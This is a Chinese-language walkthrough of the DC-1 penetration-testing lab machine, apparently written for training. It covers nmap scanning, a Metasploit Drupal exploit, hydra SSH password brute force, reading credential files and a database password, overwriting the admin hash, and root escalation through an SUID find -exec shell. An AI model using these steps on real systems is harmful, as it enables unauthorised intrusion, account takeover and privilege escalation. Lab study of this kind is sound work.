2. 使用nmap来扫描DC-1
nmap -A 192.168.188.164
从扫描结果可以看到有22和80端口,因为还不知道DC-1所使用的用户,所有还不能爆破ssh,先访问一下80端口网页。
3. 访问到的web界面,发现需要账号密码登录,但是发现了CMS,使用msf的漏洞库搜索一下。
CMS:Drupal是开源CMS之一,Drupal是CMS内容管理系统,并且在世界各地使用,受到高度赞赏,Drupal可以作为开源软件免费使用,就是附带了cms的php开发框架。
Drupal:Drupal是使用PHP编写的流行的开源内容管理系统。
Wappalyzer:是一款浏览器插件,通过 Wappalyzer 可以识别出网站采用了那种 web 技术。它能够检测出 CMS 和电子商务系统、留言板、javascript 框架,主机面板,分析统计工具和其它的一些 web 系统
4. 在msf漏洞库搜索 Drupal,并攻击
启动msf的数据库
启动方法
第一步: 启动postgresql数据库: service postgresql start;或者/etc/init.d/postgresql start;
第二步:初始化MSF数据库:msfdb init;
第三步: 运行msfconsole:msfconsole;
搜索 search Drupal
使用第二个漏洞use 2
。
使用show missing查看一下必须要设置的选项
需要设置rhosts,rhosts就是设置靶机的IP地址
使用set设置:
set rhosts 192.168.188.164
使用show options 可以查看设置好的信息
确定设置的信息没问题,输入run开始执行攻击,成功
flag1
ls可以看到第一个flag1.txt
第一个flag找到
5. 查看一下靶机的用户,发现有个flag4的用户
cat /etc/passwd
说明:/etc/passwd文件,系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读(r)操作。
6. 使用hydra来爆破密码
hydra -l flag4 -P /usr/share/john/password.lst 192.168.188.164 ssh
ssh:指定攻击目标的服务类型为ssh。
7. 使用ssh连接靶机
命令含义:SSH远程控制服务器作为中介的跳板机,建立本地计算机与特定目标网站之间的加密连接。
flag4
ls,在flag4账户的目录下找到了flag4,可想而知还有在前面还有两个flag,可能在web上,因为web有账号。
8. 查看一下web的配置文件
cd / # 进入到根目录下
进入到var/www的目录下
/var/www是Linux操作系统中用于存储Web服务器文件的默认目录。
找到drupal的配置文件是/var/www/sites/default/settings.php
Drupal 中sites/default/settings.php 附带了配置文件。
使用命令查看:cat sites/default/settings.php
配置文件路径百度即可找到
数据库的账号:dbuser 密码: R0ck3t
9. 使用命令连接数据库
mysql -u dbuser -p
mysql -u 用户名 -p 是连接数据库服务器的命令。
连接成功
查看一下数据表
show databses;
使用数据表use drupaldb;
查看表的数据show tables;
注意表里的users,使用命令查看:
select * from users;
可以看到管理员admin的账户,但是先要搞hash值
输入quit
退出数据库连接
10. 搜索一下passwd
find / -name password*
看到var/www/scripts下有个.sh的脚本。
.sh后缀名的文件被称为脚本Bash的应用程序和使用开发人员文件。 SH文件被称为是创建并保存在Bash的语言,因为它包含的说明都写在该语言。 SH文件可以,如果文本命令shell的命令行界面中键入执行。 SH文件大多是用于程序开发人员,这些文件都是Bash的应用程序非常重要,因为该应用程序主要使用脚本以及命令将被执行,使这个应用程序的工作。
尝试直接执行
设置新密码,直接在后面加上设置的新密码
scripts/password-hash.sh 123456
得到一个哈希值,将这个哈希值替换到数据库admin得账号下
11. 进入到数据库中然后修改数据库中admin的哈希值
update users set pass='$S$DvaDIRP8Hxz93/2ZLLeQrczm5gK1BR6KrJX2JmOGPB7boVeFE3wa' where name='admin';
修改成功去web界面登录。
flag3
找到flag3
flag3提示,提权并提示 -exec。
12. 提权
find -name flag4.txt -exec /bin/bash -p \;
说明:
这个命令是用于在当前目录及其子录中查找名为 "flag4.txt" 的文件,并且在找到每个文件后执行 /bin/bash -p
命令。
每个部分的含义:
find
:这是一个用于在文件系统中搜索文件和目录的命令。
-name flag4.txt
:这是 find
命令的选项之一,用于指定要搜索的文件名为 "flag4.txt"。
-exec
:这也是 find
命令的选项之一,它允许在找到每个文件后执行指定的命令。
/bin/bash -p
:这是要执行的命令。/bin/bash
是一个常见的 Unix/Linux shell,而 -p
选项表示以特权(即以 root 用户)运行 bash。这将打开一个交互式 shell 环境,具有 root 用户权限。
所以,当该命令找到名为 "flag4.txt" 的文件时,它将执行 /bin/bash -p
命令,从而打开一个特权 shell 环境。
flag5
find -name flag4.txt -exec cat /root/thefinalflag.txt \;
使用第一个漏洞进行攻击
进入后渗透模块 ls 查看 有一个flag1.txt
。
使用msf攻击成功后输入shell,可以理解为开启了一个shell环境,也就是开启打命令的窗口。
在进入durpa配置文件在 settings.php
发现 flag2 和数据库一些信息。
然后使用netstat -anptl
查看3306是否开放,结果只允许本地连接。
python交互:python -c "import pty;pty.spawn(’/bin/bash‘)"
。
执行该命令的前提得有python
当拿到一个webshell的时候,能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念
然后就可以登录数据库。
修改管理员密码。
在scripts
目录有password-hash.sh
文件,可以用该文件生成自己的密码hash值替换数据库hash。
使用 php scripts/password-hash.sh password
生成新密码
登录到数据库中然后替换原先的密码即可
update drupaldb.users set pass="$S$DVG5qpBNEomk600tFy3tBan2sBb4H.CaigMTAAJ8ByS4HAT4r9x0" where name="admin";
登录网页后获取flag3。
SUID提权:
执行完python交互后输入cat /etc/passwd,发现用户flag4
SUID概念:命令一旦具有了SUID标志,这个命令在执行的过程的会短暂的获得root权限。
使用find命令查找拥有特殊权限SUID的命令:
find / -perm -4000
命令说明:查询拥有SUID权限的命令。
如下命令就是会短暂的获得SUID权限的命令。
find ./ aaa -exec '/bin/sh' \;
输入whoami查看当前登录用户
获取flag5。